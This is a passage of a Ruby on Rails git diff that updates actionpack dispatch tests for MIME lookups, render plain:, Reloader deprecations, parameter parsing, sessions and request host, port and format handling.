Mime[:html].ref another = Mime::Type.lookup("foo/bar") assert_nil another.to_sym assert_equal "foo/bar", another.ref end test "regexp matcher" do - assert Mime::JS =~ "text/javascript" - assert Mime::JS =~ "application/javascript" - assert Mime::JS !~ "text/html" - assert !(Mime::JS !~ "text/javascript") - assert !(Mime::JS !~ "application/javascript") - assert Mime::HTML =~ 'application/xhtml+xml' + assert Mime[:js] =~ "text/javascript" + assert Mime[:js] =~ "application/javascript" + assert Mime[:js] !~ "text/html" + assert !(Mime[:js] !~ "text/javascript") + assert !(Mime[:js] !~ "application/javascript") + assert Mime[:html] =~ 'application/xhtml+xml' end end diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb index 6a439be2b5..d027f09762 100644 --- a/actionpack/test/dispatch/mount_test.rb +++ b/actionpack/test/dispatch/mount_test.rb @@ -49,7 +49,7 @@ class TestRoutingMount < ActionDispatch::IntegrationTest def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources assert Router.mounted_helpers.method_defined?(:user_fake_mounted_at_resource), "A mounted helper should be defined with a parent's prefix" - assert Router.named_routes.routes[:user_fake_mounted_at_resource], + assert Router.named_routes.key?(:user_fake_mounted_at_resource), "A named route should be defined with a parent's prefix" end diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb index f90d5499d7..d75e31db62 100644 --- a/actionpack/test/dispatch/prefix_generation_test.rb +++ b/actionpack/test/dispatch/prefix_generation_test.rb @@ -73,26 +73,26 @@ module TestGenerationPrefix include RailsApplication.routes.mounted_helpers def index - render :text => posts_path + render plain: posts_path end def show - render :text => post_path(:id => params[:id]) + render plain: post_path(id: params[:id]) end def url_to_application path = main_app.url_for(:controller => "outside_engine_generating", :action => "index", :only_path => true) - render :text => path + render plain: path end def polymorphic_path_for_engine - render :text => polymorphic_path(Post.new) + render plain: polymorphic_path(Post.new) end def conflicting - render :text => "engine" + render plain: "engine" end end @@ -101,28 +101,28 @@ module TestGenerationPrefix include RailsApplication.routes.url_helpers def index - render :text => blog_engine.post_path(:id => 1) + render plain: blog_engine.post_path(id: 1) end def polymorphic_path_for_engine - render :text => blog_engine.polymorphic_path(Post.new) + render plain: blog_engine.polymorphic_path(Post.new) end def polymorphic_path_for_app - render :text => polymorphic_path(Post.new) + render plain: polymorphic_path(Post.new) end def polymorphic_with_url_for - render :text => blog_engine.url_for(Post.new) + render plain: blog_engine.url_for(Post.new) end def conflicting - render :text => "application" + render plain: "application" end def ivar_usage @blog_engine = "Not the engine route helper" - render :text => blog_engine.post_path(:id => 1) + render plain: blog_engine.post_path(id: 1) end end @@ -378,7 +378,7 @@ module TestGenerationPrefix include RailsApplication.routes.mounted_helpers def show - render :text => post_path(:id => params[:id]) + render plain: post_path(id: params[:id]) end end diff --git a/actionpack/test/dispatch/reloader_test.rb b/actionpack/test/dispatch/reloader_test.rb index 62e8197e20..fe8a4a3a17 100644 --- a/actionpack/test/dispatch/reloader_test.rb +++ b/actionpack/test/dispatch/reloader_test.rb @@ -4,15 +4,17 @@ class ReloaderTest < ActiveSupport::TestCase Reloader = ActionDispatch::Reloader teardown do - Reloader.reset_callbacks :prepare - Reloader.reset_callbacks :cleanup + ActiveSupport::Reloader.reset_callbacks :prepare + ActiveSupport::Reloader.reset_callbacks :complete end def test_prepare_callbacks a = b = c = nil - Reloader.to_prepare { |*args| a = b = c = 1 } - Reloader.to_prepare { |*args| b = c = 2 } - Reloader.to_prepare { |*args| c = 3 } + assert_deprecated do + Reloader.to_prepare { |*args| a = b = c = 1 } + Reloader.to_prepare { |*args| b = c = 2 } + Reloader.to_prepare { |*args| c = 3 } + end # Ensure to_prepare callbacks are not run when defined assert_nil a || b || c @@ -60,9 +62,15 @@ class ReloaderTest < ActiveSupport::TestCase def test_condition_specifies_when_to_reload i, j = 0, 0, 0, 0 - Reloader.to_prepare { |*args| i += 1 } - Reloader.to_cleanup { |*args| j += 1 } - app = Reloader.new(lambda { |env| [200, {}, []] }, lambda { i < 3 }) + assert_deprecated do + Reloader.to_prepare { |*args| i += 1 } + Reloader.to_cleanup { |*args| j += 1 } + end + + x = Class.new(ActiveSupport::Reloader) + x.check = lambda { i < 3 } + + app = Reloader.new(lambda { |env| [200, {}, []] }, x) 5.times do resp = app.call({}) resp[2].close @@ -109,7 +117,9 @@ class ReloaderTest < ActiveSupport::TestCase def test_cleanup_callbacks_are_called_when_body_is_closed cleaned = false - Reloader.to_cleanup { cleaned = true } + assert_deprecated do + Reloader.to_cleanup { cleaned = true } + end body = call_and_return_body assert !cleaned @@ -120,7 +130,9 @@ class ReloaderTest < ActiveSupport::TestCase def test_prepare_callbacks_arent_called_when_body_is_closed prepared = false - Reloader.to_prepare { prepared = true } + assert_deprecated do + Reloader.to_prepare { prepared = true } + end body = call_and_return_body prepared = false @@ -131,31 +143,43 @@ class ReloaderTest < ActiveSupport::TestCase def test_manual_reloading prepared = cleaned = false - Reloader.to_prepare { prepared = true } - Reloader.to_cleanup { cleaned = true } + assert_deprecated do + Reloader.to_prepare { prepared = true } + Reloader.to_cleanup { cleaned = true } + end - Reloader.prepare! + assert_deprecated do + Reloader.prepare! + end assert prepared assert !cleaned prepared = cleaned = false - Reloader.cleanup! - assert !prepared + assert_deprecated do + Reloader.cleanup! + end + assert prepared assert cleaned end def test_prepend_prepare_callback i = 10 - Reloader.to_prepare { i += 1 } - Reloader.to_prepare(:prepend => true) { i = 0 } + assert_deprecated do + Reloader.to_prepare { i += 1 } + Reloader.to_prepare(:prepend => true) { i = 0 } + end - Reloader.prepare! + assert_deprecated do + Reloader.prepare! + end assert_equal 1, i end def test_cleanup_callbacks_are_called_on_exceptions cleaned = false - Reloader.to_cleanup { cleaned = true } + assert_deprecated do + Reloader.to_cleanup { cleaned = true } + end begin call_and_return_body do @@ -169,8 +193,11 @@ class ReloaderTest < ActiveSupport::TestCase private def call_and_return_body(&block) + x = Class.new(ActiveSupport::Reloader) + x.check = lambda { true } + @response ||= 'response' - @reloader ||= Reloader.new(block || proc {[200, {}, @response]}) + @reloader ||= Reloader.new(block || proc {[200, {}, @response]}, x) @reloader.call({'rack.input' => StringIO.new('')})[2] end end diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb index d77341bc64..a07138b55e 100644 --- a/actionpack/test/dispatch/request/json_params_parsing_test.rb +++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb @@ -37,6 +37,13 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest ) end + test "does not parse unregistered media types such as application/vnd.api+json" do + assert_parses( + {}, + "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/vnd.api+json' } + ) + end + test "nils are stripped from collections" do assert_parses( {"person" => []}, @@ -69,8 +76,8 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest $stderr = StringIO.new # suppress the log json = "[\"person]\": {\"name\": \"David\"}}" exception = assert_raise(ActionDispatch::ParamsParser::ParseError) { post "/parse", json, {'CONTENT_TYPE' => 'application/json', 'action_dispatch.show_exceptions' => false} } - assert_equal JSON::ParserError, exception.original_exception.class - assert_equal exception.original_exception.message, exception.message + assert_equal JSON::ParserError, exception.cause.class + assert_equal exception.cause.message, exception.message ensure $stderr = STDERR end @@ -96,7 +103,9 @@ class JsonParamsParsingTest < ActionDispatch::IntegrationTest def with_test_routing with_routing do |set| set.draw do - post ':action', :to => ::JsonParamsParsingTest::TestController + ActiveSupport::Deprecation.silence do + post ':action', :to => ::JsonParamsParsingTest::TestController + end end yield end @@ -113,7 +122,7 @@ class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest def parse self.class.last_request_parameters = request.request_parameters - self.class.last_parameters = params + self.class.last_parameters = params.to_unsafe_h head :ok end end @@ -143,6 +152,34 @@ class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest ) end + test "parses json params after custom json mime type registered" do + begin + Mime::Type.unregister :json + Mime::Type.register "application/json", :json, %w(application/vnd.api+json) + assert_parses( + {"user" => {"username" => "meinac"}, "username" => "meinac"}, + "{\"username\": \"meinac\"}", { 'CONTENT_TYPE' => 'application/json' } + ) + ensure + Mime::Type.unregister :json + Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest ) + end + end + + test "parses json params after custom json mime type registered with synonym" do + begin + Mime::Type.unregister :json + Mime::Type.register "application/json", :json, %w(application/vnd.api+json) + assert_parses( + {"user" => {"username" => "meinac"}, "username" => "meinac"}, + "{\"username\": \"meinac\"}", { 'CONTENT_TYPE' => 'application/vnd.api+json' } + ) + ensure + Mime::Type.unregister :json + Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest ) + end + end + private def assert_parses(expected, actual, headers = {}) with_test_routing(UsersController) do @@ -156,7 +193,9 @@ class RootLessJSONParamsParsingTest < ActionDispatch::IntegrationTest def with_test_routing(controller) with_routing do |set| set.draw do - post ':action', :to => controller + ActiveSupport::Deprecation.silence do + post ':action', :to => controller + end end yield end diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb index 50f69c53cb..bab4413b2a 100644 --- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb +++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb @@ -17,7 +17,7 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest end def read - render :text => "File: #{params[:uploaded_data].read}" + render plain: "File: #{params[:uploaded_data].read}" end end @@ -63,6 +63,17 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest assert_equal 'contents', file.read end + test "parses utf8 filename with percent character" do + params = parse_multipart('utf8_filename') + assert_equal %w(file foo), params.keys.sort + assert_equal 'bar', params['foo'] + + file = params['file'] + assert_equal 'ファイル%å.txt', file.original_filename + assert_equal "text/plain", file.content_type + assert_equal 'contents', file.read + end + test "parses boundary problem file" do params = parse_multipart('boundary_problem_file') assert_equal %w(file foo), params.keys.sort @@ -148,7 +159,9 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest test "does not raise EOFError on GET request with multipart content-type" do with_routing do |set| set.draw do - get ':action', controller: 'multipart_params_parsing_test/test' + ActiveSupport::Deprecation.silence do + get ':action', controller: 'multipart_params_parsing_test/test' + end end headers = { "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x" } get "/parse", headers: headers @@ -177,7 +190,9 @@ class MultipartParamsParsingTest < ActionDispatch::IntegrationTest def with_test_routing with_routing do |set| set.draw do - post ':action', :controller => 'multipart_params_parsing_test/test' + ActiveSupport::Deprecation.silence do + post ':action', :controller => 'multipart_params_parsing_test/test' + end end yield end diff --git a/actionpack/test/dispatch/request/query_string_parsing_test.rb b/actionpack/test/dispatch/request/query_string_parsing_test.rb index bc6716525e..f04022a544 100644 --- a/actionpack/test/dispatch/request/query_string_parsing_test.rb +++ b/actionpack/test/dispatch/request/query_string_parsing_test.rb @@ -144,7 +144,9 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest test "ambiguous query string returns a bad request" do with_routing do |set| set.draw do - get ':action', :to => ::QueryStringParsingTest::TestController + ActiveSupport::Deprecation.silence do + get ':action', :to => ::QueryStringParsingTest::TestController + end end get "/parse", headers: { "QUERY_STRING" => "foo[]=bar&foo[4]=bar" } @@ -156,7 +158,9 @@ class QueryStringParsingTest < ActionDispatch::IntegrationTest def assert_parses(expected, actual) with_routing do |set| set.draw do - get ':action', :to => ::QueryStringParsingTest::TestController + ActiveSupport::Deprecation.silence do + get ':action', :to => ::QueryStringParsingTest::TestController + end end @app = self.class.build_app(set) do |middleware| middleware.use(EarlyParse) diff --git a/actionpack/test/dispatch/request/session_test.rb b/actionpack/test/dispatch/request/session_test.rb index 10fb04e230..e022e7e21e 100644 --- a/actionpack/test/dispatch/request/session_test.rb +++ b/actionpack/test/dispatch/request/session_test.rb @@ -4,40 +4,42 @@ require 'action_dispatch/middleware/session/abstract_store' module ActionDispatch class Request class SessionTest < ActiveSupport::TestCase + attr_reader :req + + def setup + @req = ActionDispatch::Request.empty + end + def test_create_adds_itself_to_env - env = {} - s = Session.create(store, env, {}) - assert_equal s, env[Rack::Session::Abstract::ENV_SESSION_KEY] + s = Session.create(store, req, {}) + assert_equal s, req.env[Rack::RACK_SESSION] end def test_to_hash - env = {} - s = Session.create(store, env, {}) + s = Session.create(store, req, {}) s['foo'] = 'bar' assert_equal 'bar', s['foo'] assert_equal({'foo' => 'bar'}, s.to_hash) end def test_create_merges_old - env = {} - s = Session.create(store, env, {}) + s = Session.create(store, req, {}) s['foo'] = 'bar' - s1 = Session.create(store, env, {}) + s1 = Session.create(store, req, {}) assert_not_equal s, s1 assert_equal 'bar', s1['foo'] end def test_find - env = {} - assert_nil Session.find(env) + assert_nil Session.find(req) - s = Session.create(store, env, {}) - assert_equal s, Session.find(env) + s = Session.create(store, req, {}) + assert_equal s, Session.find(req) end def test_destroy - s = Session.create(store, {}, {}) + s = Session.create(store, req, {}) s['rails'] = 'ftw' s.destroy @@ -46,21 +48,21 @@ module ActionDispatch end def test_keys - s = Session.create(store, {}, {}) + s = Session.create(store, req, {}) s['rails'] = 'ftw' s['adequate'] = 'awesome' assert_equal %w[rails adequate], s.keys end def test_values - s = Session.create(store, {}, {}) + s = Session.create(store, req, {}) s['rails'] = 'ftw' s['adequate'] = 'awesome' assert_equal %w[ftw awesome], s.values end def test_clear - s = Session.create(store, {}, {}) + s = Session.create(store, req, {}) s['rails'] = 'ftw' s['adequate'] = 'awesome' @@ -69,7 +71,7 @@ module ActionDispatch end def test_update - s = Session.create(store, {}, {}) + s = Session.create(store, req, {}) s['rails'] = 'ftw' s.update(:rails => 'awesome') @@ -79,7 +81,7 @@ module ActionDispatch end def test_delete - s = Session.create(store, {}, {}) + s = Session.create(store, req, {}) s['rails'] = 'ftw' s.delete('rails') @@ -88,7 +90,7 @@ module ActionDispatch end def test_fetch - session = Session.create(store, {}, {}) + session = Session.create(store, req, {}) session['one'] = '1' assert_equal '1', session.fetch(:one) @@ -108,9 +110,35 @@ module ActionDispatch Class.new { def load_session(env); [1, {}]; end def session_exists?(env); true; end - def destroy_session(env, id, options); 123; end + def delete_session(env, id, options); 123; end }.new end end + + class SessionIntegrationTest < ActionDispatch::IntegrationTest + class MySessionApp + def call(env) + request = Rack::Request.new(env) + request.session['hello'] = 'Hello from MySessionApp!' + [ 200, {}, ['Hello from MySessionApp!'] ] + end + end + + Router = ActionDispatch::Routing::RouteSet.new + Router.draw do + get '/mysessionapp' => MySessionApp.new + end + + def app + @app ||= RoutedRackApp.new(Router) + end + + def test_session_follows_rack_api_contract_1 + get '/mysessionapp' + assert_response :ok + assert_equal 'Hello from MySessionApp!', @response.body + assert_equal 'Hello from MySessionApp!', session['hello'] + end + end end end diff --git a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb index 365edf849a..b9f8c52378 100644 --- a/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb +++ b/actionpack/test/dispatch/request/url_encoded_params_parsing_test.rb @@ -140,7 +140,9 @@ class UrlEncodedParamsParsingTest < ActionDispatch::IntegrationTest def with_test_routing with_routing do |set| set.draw do - post ':action', to: ::UrlEncodedParamsParsingTest::TestController + ActiveSupport::Deprecation.silence do + post ':action', to: ::UrlEncodedParamsParsingTest::TestController + end end yield end diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb index ee8e915610..8a5d85ab84 100644 --- a/actionpack/test/dispatch/request_test.rb +++ b/actionpack/test/dispatch/request_test.rb @@ -4,9 +4,13 @@ class BaseRequestTest < ActiveSupport::TestCase def setup @env = { :ip_spoofing_check => true, - :tld_length => 1, "rack.input" => "foo" } + @original_tld_length = ActionDispatch::Http::URL.tld_length + end + + def teardown + ActionDispatch::Http::URL.tld_length = @original_tld_length end def url_for(options = {}) @@ -19,9 +23,9 @@ class BaseRequestTest < ActiveSupport::TestCase ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true @trusted_proxies ||= nil ip_app = ActionDispatch::RemoteIp.new(Proc.new { }, ip_spoofing_check, @trusted_proxies) - tld_length = env.key?(:tld_length) ? env.delete(:tld_length) : 1 + ActionDispatch::Http::URL.tld_length = env.delete(:tld_length) if env.key?(:tld_length) + ip_app.call(env) - ActionDispatch::Http::URL.tld_length = tld_length env = @env.merge(env) ActionDispatch::Request.new(env) @@ -254,15 +258,6 @@ end class RequestDomain < BaseRequestTest test "domains" do - request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org' - assert_equal "rubyonrails.org", request.domain - - request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk" - assert_equal "rubyonrails.co.uk", request.domain(2) - - request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk", :tld_length => 2 - assert_equal "rubyonrails.co.uk", request.domain - request = stub_request 'HTTP_HOST' => "192.168.1.200" assert_nil request.domain @@ -271,25 +266,18 @@ class RequestDomain < BaseRequestTest request = stub_request 'HTTP_HOST' => "192.168.1.200.com" assert_equal "200.com", request.domain - end - test "subdomains" do - request = stub_request 'HTTP_HOST' => "www.rubyonrails.org" - assert_equal %w( www ), request.subdomains - assert_equal "www", request.subdomain + request = stub_request 'HTTP_HOST' => 'www.rubyonrails.org' + assert_equal "rubyonrails.org", request.domain request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk" - assert_equal %w( www ), request.subdomains(2) - assert_equal "www", request.subdomain(2) - - request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk" - assert_equal %w( dev www ), request.subdomains(2) - assert_equal "dev.www", request.subdomain(2) + assert_equal "rubyonrails.co.uk", request.domain(2) - request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk", :tld_length => 2 - assert_equal %w( dev www ), request.subdomains - assert_equal "dev.www", request.subdomain + request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk", :tld_length => 2 + assert_equal "rubyonrails.co.uk", request.domain + end + test "subdomains" do request = stub_request 'HTTP_HOST' => "foobar.foobar.com" assert_equal %w( foobar ), request.subdomains assert_equal "foobar", request.subdomain @@ -309,6 +297,22 @@ class RequestDomain < BaseRequestTest request = stub_request 'HTTP_HOST' => nil assert_equal [], request.subdomains assert_equal "", request.subdomain + + request = stub_request 'HTTP_HOST' => "www.rubyonrails.org" + assert_equal %w( www ), request.subdomains + assert_equal "www", request.subdomain + + request = stub_request 'HTTP_HOST' => "www.rubyonrails.co.uk" + assert_equal %w( www ), request.subdomains(2) + assert_equal "www", request.subdomain(2) + + request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk" + assert_equal %w( dev www ), request.subdomains(2) + assert_equal "dev.www", request.subdomain(2) + + request = stub_request 'HTTP_HOST' => "dev.www.rubyonrails.co.uk", :tld_length => 2 + assert_equal %w( dev www ), request.subdomains + assert_equal "dev.www", request.subdomain end end @@ -354,6 +358,17 @@ class RequestPort < BaseRequestTest request = stub_request 'HTTP_HOST' => 'www.example.org:8080' assert_equal ':8080', request.port_string end + + test "server port" do + request = stub_request 'SERVER_PORT' => '8080' + assert_equal 8080, request.server_port + + request = stub_request 'SERVER_PORT' => '80' + assert_equal 80, request.server_port + + request = stub_request 'SERVER_PORT' => '' + assert_equal 0, request.server_port + end end class RequestPath < BaseRequestTest @@ -413,6 +428,11 @@ class RequestPath < BaseRequestTest end class RequestHost < BaseRequestTest + test "host without specifying port" do + request = stub_request 'HTTP_HOST' => 'rubyonrails.org' + assert_equal "rubyonrails.org", request.host_with_port + end + test "host with default port" do request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80' assert_equal "rubyonrails.org", request.host_with_port @@ -423,6 +443,21 @@ class RequestHost < BaseRequestTest assert_equal "rubyonrails.org:81", request.host_with_port end + test "raw without specifying port" do + request = stub_request 'HTTP_HOST' => 'rubyonrails.org' + assert_equal "rubyonrails.org", request.raw_host_with_port + end + + test "raw host with default port" do + request = stub_request 'HTTP_HOST' => 'rubyonrails.org:80' + assert_equal "rubyonrails.org:80", request.raw_host_with_port + end + + test "raw host with non default port" do + request = stub_request 'HTTP_HOST' => 'rubyonrails.org:81' + assert_equal "rubyonrails.org:81", request.raw_host_with_port + end + test "proxy request" do request = stub_request 'HTTP_HOST' => 'glu.ttono.us:80' assert_equal "glu.ttono.us", request.host_with_port @@ -435,6 +470,9 @@ class RequestHost < BaseRequestTest request = stub_request 'HTTP_X_FORWARDED_HOST' => "www.firsthost.org, www.secondhost.org" assert_equal "www.secondhost.org", request.host + + request = stub_request 'HTTP_X_FORWARDED_HOST' => "", 'HTTP_HOST' => "rubyonrails.org" + assert_equal "rubyonrails.org", request.host end test "http host with default port overrides server port" do @@ -660,6 +698,7 @@ class RequestMethod < BaseRequestTest assert_equal 'GET', request.request_method assert_equal 'GET', request.env["REQUEST_METHOD"] + assert request.get? end test "invalid http method raises exception" do @@ -745,84 +784,94 @@ end class RequestFormat < BaseRequestTest test "xml format" do request = stub_request - request.expects(:parameters).at_least_once.returns({ :format => 'xml' }) - assert_equal Mime::XML, request.format + assert_called(request, :parameters, times: 2, returns: {format: :xml}) do + assert_equal Mime[:xml], request.format + end end test "xhtml format" do request = stub_request - request.expects(:parameters).at_least_once.returns({ :format => 'xhtml' }) - assert_equal Mime::HTML, request.format + assert_called(request, :parameters, times: 2, returns: {format: :xhtml}) do + assert_equal Mime[:html], request.format + end end test "txt format" do request = stub_request - request.expects(:parameters).at_least_once.returns({ :format => 'txt' }) - assert_equal Mime::TEXT, request.format + assert_called(request, :parameters, times: 2, returns: {format: :txt}) do + assert_equal Mime[:text], request.format + end end test "XMLHttpRequest" do request = stub_request( 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest', - 'HTTP_ACCEPT' => [Mime::JS, Mime::HTML, Mime::XML, "text/xml", Mime::ALL].join(",") + 'HTTP_ACCEPT' => [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(",") ) - request.expects(:parameters).at_least_once.returns({}) - assert request.xhr? - assert_equal Mime::JS, request.format + + assert_called(request, :parameters, times: 1, returns: {}) do + assert request.xhr? + assert_equal Mime[:js], request.format + end end test "can override format with parameter negative" do request = stub_request - request.expects(:parameters).at_least_once.returns({ :format => :txt }) - assert !request.format.xml? + assert_called(request, :parameters, times: 2, returns: {format: :txt}) do + assert !request.format.xml? + end end test "can override format with parameter positive" do request = stub_request - request.expects(:parameters).at_least_once.returns({ :format => :xml }) - assert request.format.xml? + assert_called(request, :parameters, times: 2, returns: {format: :xml}) do + assert request.format.xml? + end end test "formats text/html with accept header" do request = stub_request 'HTTP_ACCEPT' => 'text/html' - assert_equal [Mime::HTML], request.formats + assert_equal [Mime[:html]], request.formats end test "formats blank with accept header" do request = stub_request 'HTTP_ACCEPT' => '' - assert_equal [Mime::HTML], request.formats + assert_equal [Mime[:html]], request.formats end test "formats XMLHttpRequest with accept header" do request = stub_request 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest" - assert_equal [Mime::JS], request.formats + assert_equal [Mime[:js]], request.formats end test "formats application/xml with accept header" do request = stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8', 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest") - assert_equal [Mime::XML], request.formats + assert_equal [Mime[:xml]], request.formats end test "formats format:text with accept header" do request = stub_request - request.expects(:parameters).at_least_once.returns({ :format => :txt }) - assert_equal [Mime::TEXT], request.formats + assert_called(request, :parameters, times: 2, returns: {format: :txt}) do + assert_equal [Mime[:text]], request.formats + end end test "formats format:unknown with accept header" do request = stub_request - request.expects(:parameters).at_least_once.returns({ :format => :unknown }) - assert_instance_of Mime::NullType, request.format + assert_called(request, :parameters, times: 2, returns: {format: :unknown}) do + assert_instance_of Mime::NullType, request.format + end end test "format is not nil with unknown format" do request = stub_request - request.expects(:parameters).at_least_once.returns({ format: :hello }) - assert request.format.nil? - assert_not request.format.html? - assert_not request.format.xml? - assert_not request.format.json? + assert_called(request, :parameters, times: 2, returns: {format: :hello}) do + assert request.format.nil? + assert_not request.format.html? + assert_not request.format.xml? + assert_not request.format.json? + end end test "format does not throw exceptions when malformed parameters" do @@ -833,8 +882,9 @@ class RequestFormat < BaseRequestTest test "formats with xhr request" do request = stub_request 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest" - request.expects(:parameters).at_least_once.returns({}) - assert_equal [Mime::JS], request.formats + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [Mime[:js]], request.formats + end end test "ignore_accept_header" do @@ -843,39 +893,67 @@ class RequestFormat < BaseRequestTest begin request = stub_request 'HTTP_ACCEPT' => 'application/xml' - request.expects(:parameters).at_least_once.returns({}) - assert_equal [ Mime::HTML ], request.formats + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [ Mime[:html] ], request.formats + end request = stub_request 'HTTP_ACCEPT' => 'koz-asked/something-crazy' - request.expects(:parameters).at_least_once.returns({}) - assert_equal [ Mime::HTML ], request.formats + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [ Mime[:html] ], request.formats + end request = stub_request 'HTTP_ACCEPT' => '*/*;q=0.1' - request.expects(:parameters).at_least_once.returns({}) - assert_equal [ Mime::HTML ], request.formats + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [ Mime[:html] ], request.formats + end request = stub_request 'HTTP_ACCEPT' => 'application/jxw' - request.expects(:parameters).at_least_once.returns({}) - assert_equal [ Mime::HTML ], request.formats + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [ Mime[:html] ], request.formats + end request = stub_request 'HTTP_ACCEPT' => 'application/xml', 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest" - request.expects(:parameters).at_least_once.returns({}) - assert_equal [ Mime::JS ], request.formats + + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [ Mime[:js] ], request.formats + end request = stub_request 'HTTP_ACCEPT' => 'application/xml', 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest" - request.expects(:parameters).at_least_once.returns({:format => :json}) - assert_equal [ Mime::JSON ], request.formats + assert_called(request, :parameters, times: 2, returns: {format: :json}) do + assert_equal [ Mime[:json] ], request.formats + end ensure ActionDispatch::Request.ignore_accept_header = old_ignore_accept_header end end + + test "format taken from the path extension" do + request = stub_request 'PATH_INFO' => '/foo.xml' + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [Mime[:xml]], request.formats + end + + request = stub_request 'PATH_INFO' => '/foo.123' + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [Mime[:html]], request.formats + end + end + + test "formats from accept headers have higher precedence than path extension" do + request = stub_request 'HTTP_ACCEPT' => 'application/json', + 'PATH_INFO' => '/foo.xml' + + assert_called(request, :parameters, times: 1, returns: {}) do + assert_equal [Mime[:json]], request.formats + end + end end class RequestMimeType < BaseRequestTest test "content type" do - assert_equal Mime::HTML, stub_request('CONTENT_TYPE' => 'text/html').content_mime_type + assert_equal Mime[:html], stub_request('CONTENT_TYPE' => 'text/html').content_mime_type end test "no content type" do @@ -883,11 +961,11 @@ class RequestMimeType < BaseRequestTest end test "content type is XML" do - assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml').content_mime_type + assert_equal Mime[:xml], stub_request('CONTENT_TYPE' => 'application/xml').content_mime_type end test "content type with charset" do - assert_equal Mime::XML, stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8').content_mime_type + assert_equal Mime[:xml], stub_request('CONTENT_TYPE' => 'application/xml; charset=UTF-8').content_mime_type end test "user agent" do @@ -900,9 +978,9 @@ class RequestMimeType < BaseRequestTest 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest" ) - assert_equal nil, request.negotiate_mime([Mime::XML, Mime::JSON]) - assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::HTML]) - assert_equal Mime::HTML, request.negotiate_mime([Mime::XML, Mime::ALL]) + assert_equal nil, request.negotiate_mime([Mime[:xml], Mime[:json]]) + assert_equal Mime[:html], request.negotiate_mime([Mime[:xml], Mime[:html]]) + assert_equal Mime[:html], request.negotiate_mime([Mime[:xml], Mime::ALL]) end test "negotiate_mime with content_type" do @@ -911,19 +989,21 @@ class RequestMimeType < BaseRequestTest 'HTTP_X_REQUESTED_WITH' => "XMLHttpRequest" ) - assert_equal Mime::XML, request.negotiate_mime([Mime::XML, Mime::CSV]) + assert_equal Mime[:xml], request.negotiate_mime([Mime[:xml], Mime[:csv]]) end end class RequestParameters < BaseRequestTest test "parameters" do request = stub_request - request.expects(:request_parameters).at_least_once.returns({ "foo" => 1 }) - request.expects(:query_parameters).at_least_once.returns({ "bar" => 2 }) - assert_equal({"foo" => 1, "bar" => 2}, request.parameters) - assert_equal({"foo" => 1}, request.request_parameters) - assert_equal({"bar" => 2}, request.query_parameters) + assert_called(request, :request_parameters, times: 2, returns: {"foo" => 1}) do + assert_called(request, :query_parameters, times: 2, returns: {"bar" => 2}) do + assert_equal({"foo" => 1, "bar" => 2}, request.parameters) + assert_equal({"foo" => 1}, request.request_parameters) + assert_equal({"bar" => 2}, request.query_parameters) + end + end end test "parameters not accessible after rack parse error" do @@ -937,15 +1017,33 @@ class RequestParameters < BaseRequestTest end end + test "path parameters with invalid UTF8 encoding" do + request = stub_request( + "action_dispatch.request.path_parameters" => { foo: "\xBE" } + ) + + err = assert_raises(ActionController::BadRequest) do + request.check_path_parameters! + end + + assert_match "Invalid parameter encoding", err.message + assert_match "foo", err.message + assert_match "\\xBE", err.message + end + test "parameters not accessible after rack parse error of invalid UTF8 character" do request = stub_request("QUERY_STRING" => "foo%81E=1") + assert_raises(ActionController::BadRequest) { request.parameters } + end - 2.times do - assert_raises(ActionController::BadRequest) do - # rack will raise a 